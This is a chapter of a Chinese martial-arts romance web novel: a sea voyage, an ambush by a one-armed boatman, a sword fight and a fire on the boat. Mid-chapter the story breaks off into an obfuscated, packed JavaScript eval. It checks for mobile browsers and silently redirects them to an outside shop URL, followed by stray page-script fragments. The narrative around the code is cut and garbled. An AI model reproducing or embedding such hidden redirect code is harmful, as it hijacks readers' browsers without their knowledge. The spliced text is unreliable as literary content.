30. 火焰洗礼

作品:《孤月难眠

    李桑椹的驾船技术相当了得,行驶在海上竟似平地一般。


    晓轻寒和玉书在船舱里一个品茗,一个假寐,互不干扰,异常安静。


    李新月站在船头望向蔚蓝的大海,一望无垠的大海,身在其中,人是那样渺小,心灵却异常宁静。她张开双臂感受风的亲吻。


    白雨眠从身后抱住她“在想什么?”


    “想你!”


    白雨眠的嘴角不自觉上扬,接着把抱着她的手收紧一些,头抵在她的颈窝,懒洋洋地说:“下次说谎记得换下表情。”


    李新月不明白,转过身看着他“什么意思?”


    白雨眠微微低头,与她对视,脸上说不清是阴还是晴“你想我想的如此平静,我不知是该喜还是该忧……”


    被揭穿的人,不好意思低下头“对不起……”


    白雨眠把她搂进怀里,抚摸着她的头发“你说想我,明明是我赚到了,为什么要说对不起。”


    李新月回抱住他“雨眠,我上辈子一定做了好多好事才能遇见你。”


    “遇见你才是我的幸运。”


    二人深深望进对方的眼睛,真情流转。


    突然一个大浪打来,海水涌上甲板,水花溅了两人一身。他们相互为对方拍掉身上的水,拍着笑着,笑着拍着……


    过了一会儿天空开始慢慢变暗,大片的乌云席卷而来。船帆被风张满,船只的行进速度加快,却也开始左摇右晃。白雨眠抱紧李新月,快步往船舱走去。


    假寐的玉书突然坐起来打起精神往船舱外走,晓轻寒的茶具相互碰撞咔咔作响,他只能抓紧船板保持平衡。


    看到浑身湿透的二人,玉书赶忙为李新月披上披风,接着说:“我去收帆。”


    来到甲板,李桑椹已经站在那里,不停被海浪侵袭的船,剧烈晃动,饶是玉书也只能勉强保持平衡,而他却四平八稳地站在那里。


    玉书摇晃着向前走质问他:“这么大的风浪,你怎么不缩帆?!”


    “你猜!”


    玉书拳头举起来又放下,转身去收帆。


    在他碰到桅杆的一瞬,李桑椹的拳风也到了,玉书侧身闪避,对方却步步紧逼,硬是把他逼离了桅杆。


    玉书被逼急了大声喊道:“你究竟要做什么?”


    “你猜!”


    “你!”玉书忍无可忍,主动出招,虽然李桑椹只有一条胳膊,可他充分利用摇晃的船只,牵制玉书,丝毫不落下风,二人打的难分伯仲。


    这时白雨眠脚下轻点,一跃跳上桅杆,拉动帆绳,随着船帆一点点收紧,船也一点点平稳。


    玉书站的稳了,手下出招也越发凌厉,李桑椹没了优势,渐渐落了下风。


    白雨眠缩好船帆,抽出腰间软剑,一个旋身来到李桑椹面前,手中软剑直指他的咽喉。


    李桑椹被制,没有丝毫害怕,垂眼看抵住自己咽喉的剑,冷笑一声:“银丝剑,不过如此!”


    闻言白玉二人皆是一惊,此人究竟是谁,为何会知道银丝剑。


    白雨眠将剑尖再进一寸,陷进他的咽喉,血珠顺着剑尖滴落,“你究竟是何人?”


    李桑椹迫于咽喉被刺只能缓慢的吐出两个字“你……猜……”


    白雨眠没耐心跟他废话,剑尖再次送出,眼看李桑椹就要魂归西天。突然从他们身后传出一声“住手!”


    李桑椹的嘴角勾起一个邪恶的弧度。


    白玉二人闻声转头,李新月和晓轻寒分别被两个黑衣人掐住脖子,手反绑在身后。


    看到李新月被擒白雨眠握紧银丝剑,直接在李桑椹的脖颈处留下一条血痕“放人!”


    李桑椹没说话,只是讥笑一声,貌似在说:我料定你不敢杀我!


    对面的黑衣人按住李新月的肩膀,将她的胳膊再往后扭,几乎扭成了不可能的弧度,疼痛让她闷哼出声。


    “新月……”


    “李姐姐……”


    “新月姐……”


    三个男人同时因为她疼痛的闷哼而心疼。


    李新月抬起头,眼神坚定“我没事!”


    抓住她的黑衣人再次用力扭她的胳膊,对白雨眠说:“放人!”


    李新月强忍着不出声,本就虚弱的她,哪里受得了这般疼痛,豆大的汗珠从额头滑下,钻进衣领。


    白雨眠心痛的难以复加,发誓不再让她受伤,他又食言了。


    见他没动静,另一个黑衣人如法炮制,扭住晓轻寒的胳膊。


    晓轻寒忍着剧痛咬紧下唇不让痛苦的呻吟溢出。黑衣人不断加重力道对白雨眠说:“两个换一个,你不亏!”


    “我若不答应呢!”白雨眠迅速和玉书交换一个眼神,后者点头的同时一枚暗器射出,正中桅杆上束缚船帆的绳子。船帆没了束缚迅速张开,海风吹满船帆,巨大的海浪不断拍打船弦,帆船在巨浪里浮浮沉沉。船上众人皆不能站稳。


    白雨眠看准时机,银丝剑脱手甩出一个漂亮的弧度,直奔两个黑衣人而去,那二人还未反应,利剑已穿过二人脖颈,把他们如糖葫芦般钉死在船舱上。


    二人脖颈处的血窟窿不断向外喷射血液,有些还溅到晓轻寒身上,他吓的连连后退。


    与此同时,玉书用船帆的缚绳将李桑椹绑起来,吊在桅杆上,让他与船帆一起随风飘荡。


    白雨眠快速跑到李新月身边,检查她的胳膊“胳膊有没有事?”


    她摇摇头“我没事!去看轻寒。”


    此时白雨眠才发觉晓轻寒不太对劲,他呆呆地望着那两个被钉死的人,眼神木纳,身体僵硬。


    “轻寒!轻寒!”白雨眠不断拍打他的脸颊和身体,他也没反应。


    这时收好船帆的玉书赶了过来,看到晓轻寒的情况,一枚金针扎进睡穴,晓轻寒应声昏睡在他怀里。玉书将他扶进船舱。


    白雨眠回身抚摸李新月刚才被掐住的脖子,心疼的问“疼吗?”


    李新月依旧摇摇头“不疼……”


    知道她是不想让他担心,才说不疼,他也没有拆穿她,一把打横抱起她往船舱走去。


    照顾两个受了惊吓的人睡下,白雨眠吩咐玉书好生看护他们,独自一人上了甲板。


    刚才的乌云飘向远方,天空裂开一道口子,太阳的光芒洒下来,映着海面波光粼粼甚是好看。


    白雨眠拔下银丝剑,那二人直直摔向地面,他把剑上沾染的血渍在其中一人的衣袍上蹭干净,随手收回腰间。


    白雨眠走到李桑椹面前,坐下,抬头仰望他“被吊起来的感觉如何?”


    “你猜!”李桑椹依旧是很欠打的表情。


    “你究竟是何人?为何而来?”


    “你猜!”


    “我想你同样不会告诉我,你是如何得知银丝剑的吧?”


    “你猜!”


    李桑椹以为他这样回话,一定会把白雨眠气吐血,没想到对方只是轻蔑一笑,就转身回船舱了。


    李桑椹被拦腰吊着,海风把他吹的头晕目眩,头重脚轻。


    没多久,他感到腹内波涛翻涌,恶心的感觉不断袭来,想吐又吐不出来,只觉头晕目眩,很是难受。是的他晕船了,一个号称独臂船王的人居然晕船了。


    他难受的喊救命,没人应他。他只能大声喊道:“放我下来!放我下来,我全告诉你!”


    依旧没有回响。


    他接着大喊:“放我下来,你想知道什么,我全告诉你!求求你!快放了我吧!呃……”他就这样吐了。


    此时,白雨眠慢慢踱步出船舱,走到他面前,随意问道:“肯说了?”


    “说!我说!呃……”被吊着的人已经晕的七荤八素,只想赶紧被放下来。


    白雨眠手中暗运内力,一指劲风封了李桑椹的穴道,令他武功暂失。接着抽出银丝剑以内力送出,银丝剑割断绑着李桑椹的绳索,转个圈重新回到白雨眠手中,之后被收回腰间。


    李桑椹重重的摔在甲板上,加上刚才的眩晕,他挣扎了半天才勉强坐起身。


    整了整凌乱的头发,他慵懒地开口“想问什么?”


    “你是何人?”


    “你……”猜字还没出口,就被白雨眠的一记眼刀瞪了回去。他吞了口唾沫掩饰尴尬“你……那么聪明,还猜不到?”


    “猜不到!”


    “不就是你的仇人想让你们葬身大海,然后找到我,让我在海上除掉你们嘛。”


    “我的仇人……多了去了,究竟是谁?”


    “就是一个蒙面的……”


    “蒙面的?”白雨眠反问他,语气中都是不相信。


    “不是蒙面的……是……带面具的……”李桑椹时刻观察白雨眠的反应,说到戴面具时,他看到白雨眠微微皱眉“对,就是带面具的!”


    “是他?他还跟你说了什么?你又是如何得知银丝剑的?”


    “我只是拿钱办事,旁的一概不知,至于银丝剑……我看过它的锻造图册。”


    “锻造图册……难道你是……”白雨眠咽下自己的猜测,不再往下说。


    “我是什么?”李桑椹不知道他后面的话,也无从猜测。


    “你猜……”白雨眠把以其人之道,还治其人之身玩的明明白白。


    “我知道的都说了,你快放了我!”


    白雨眠随意翻转手中的银丝剑,“放了你?你觉得我是那心慈手软之人?”


    “你不是已经杀了两个人了,你大人不记小人过,就把我当个屁,放了吧。”


    李桑椹一语惊醒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720756|144860||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    梦中人,那两个黑衣人身上或许会有线索。


    他走到两个黑衣人身旁蹲下不停翻找,可惜一无所获。


    “喂,财神爷,你要不还是考虑放了我吧!”李桑椹指了指前方“我们已经偏航了,再这么随波逐流下去,可能就要迷失方向,到时不用我杀你,咱们就一起给海龙王做女婿了!”


    白雨眠观察了一下海面,又想到此人已被自己封了内力,闹不出什么大乱子,于是对他说:“你去掌舵,别耍花样,否则……”白雨眠一脸肃杀之气,只要李桑椹有异动,他就会一剑杀了他。


    “得咧!”李桑椹麻溜爬起来去掌舵。


    又航行了一阵,李新月醒了。睁开眼睛就看到白雨眠的笑脸“醒了!”他扶她坐起来。“有没有哪里不舒服?”


    “没有,都很好。”


    白雨眠轻抚她的眉眼“对不起……我又食言了。”


    李新月握住他的手,把脸埋进他的手心“我没事,不要责怪自己。”


    他另一只手食指点上她的脖颈,“这里都紫了,怎会没事?”


    她耍赖的拍掉他的手“明明就是你刚才弄的!”


    他被她逗笑,把她搂入怀中“我竟不知自己会狠心弄伤你。”


    “那可说不准……”本是开玩笑的人,忽然发现抱着自己的手愈发用力,抬头对上了一双满是哀伤的眸子。


    她赶忙挣脱他的怀抱,跪坐在他面前,牵起他的手“我开玩笑的,你别当真……”


    他淡然一笑“我只是想到别的事……”


    “什么事?”


    他摸摸她的头“没什么……就是觉得我可能是个灾星,总会给身边人带来不幸!”


    李新月赶紧捂住他的嘴“不许胡说,你是世上最好的白雨眠。大家都是因为你才走在一起,你不是灾星,是福星!”


    闻言,白雨眠扬起嘴角,并轻轻在她脸上啄了一下。在她发飙前,起身,问她“要不要去看看轻寒,他约莫着也该醒了。”


    “当然!”


    来到晓轻寒处,他确实醒了,只是状态不太对。


    “玉书,轻寒怎么了?”李新月关切地问。


    “没见过杀人,可能是吓住了。”玉书的语气略带轻蔑“都说不让他跟着了,非得来。”


    “上次在客栈,不也是死了很多人吗?他不就在跟前?”李新月很是不解。


    “可能是上次事态发展太快,他来不及反应,再加上我一直挡在他身前没有溅到血,这次他被绑起来时就受到惊吓,然后那两个人的血又溅了他一身,所以才会触发心疾。”


    “那有什么办法吗?不能一直这样发呆啊……”


    “没办法,除非他自己想通。”


    李新月在晓轻寒眼前挥手,叫他:“轻寒,我是新月姐,轻寒……”


    晓轻寒依然毫无反应,李新月转身问白雨眠“怎么办?”


    白雨眠也摇摇头“……或许时间可以解决一切。”


    李新月点点头表示认同。


    白雨眠拍一下玉书的肩膀对他说:“玉书,看好新月和轻寒,我去看着李桑椹,总觉得他不是个简单的人物。”


    “公子小心!”


    白雨眠来到舵楼,眼前的一幕,差点让他方寸大乱。


    李桑椹手拿点着的火折子站在正中间,他的四周铺满桐油,火折子燃烧的火星不时掉落在空气中,随即熄灭。空气中充斥着浓浓的桐油味儿,只要那掉下来的火星偏离一分,整条船都会燃烧殆尽。


    “李桑椹你要做什么!”白雨眠厉声问道。


    “做什么……你猜!”他小幅度地摇晃手里的火折子。


    白雨眠的心提到嗓子眼,若是让他点燃桐油,这艘船就保不住了。众人落水自己和玉书自保没问题,可李新月和晓轻寒怎么办,他们的身体根本无法抵御冰冷刺骨的海水。想到这,白雨眠决定做出让步“你究竟想怎样?”


    “你猜……”李桑椹脸上的表情越发嚣张。


    “唉……”叹了口气白雨眠以迅雷不及掩耳之势来到李桑椹身旁,后者还未反应,白雨眠的手已经搭上他手里的火折子,想要顺势抢夺。


    李桑椹勉强侧身躲过,还未站稳,白雨眠已抓住他的手腕,李桑椹手被牢牢抓住,根本动弹不得,想要将火折子扔出去,也做不到。


    白雨眠左手顺势取下火折子,刚要熄灭,谁知李桑椹原本空荡荡的左臂竟然冒出一只木手,一掌打在白雨眠手肘处,火折子脱手,火星洒在桐油上,迅速燃烧起来。


    剧烈燃烧的桐油啪啪作响,火蛇迅速吞没二人周围。


    白雨眠不敢恋战,立刻转身奔向船舱,大火吞没了整个舵楼,然而李桑椹居然没有跑,他就笔直的站在火焰中央等待火焰的洗礼。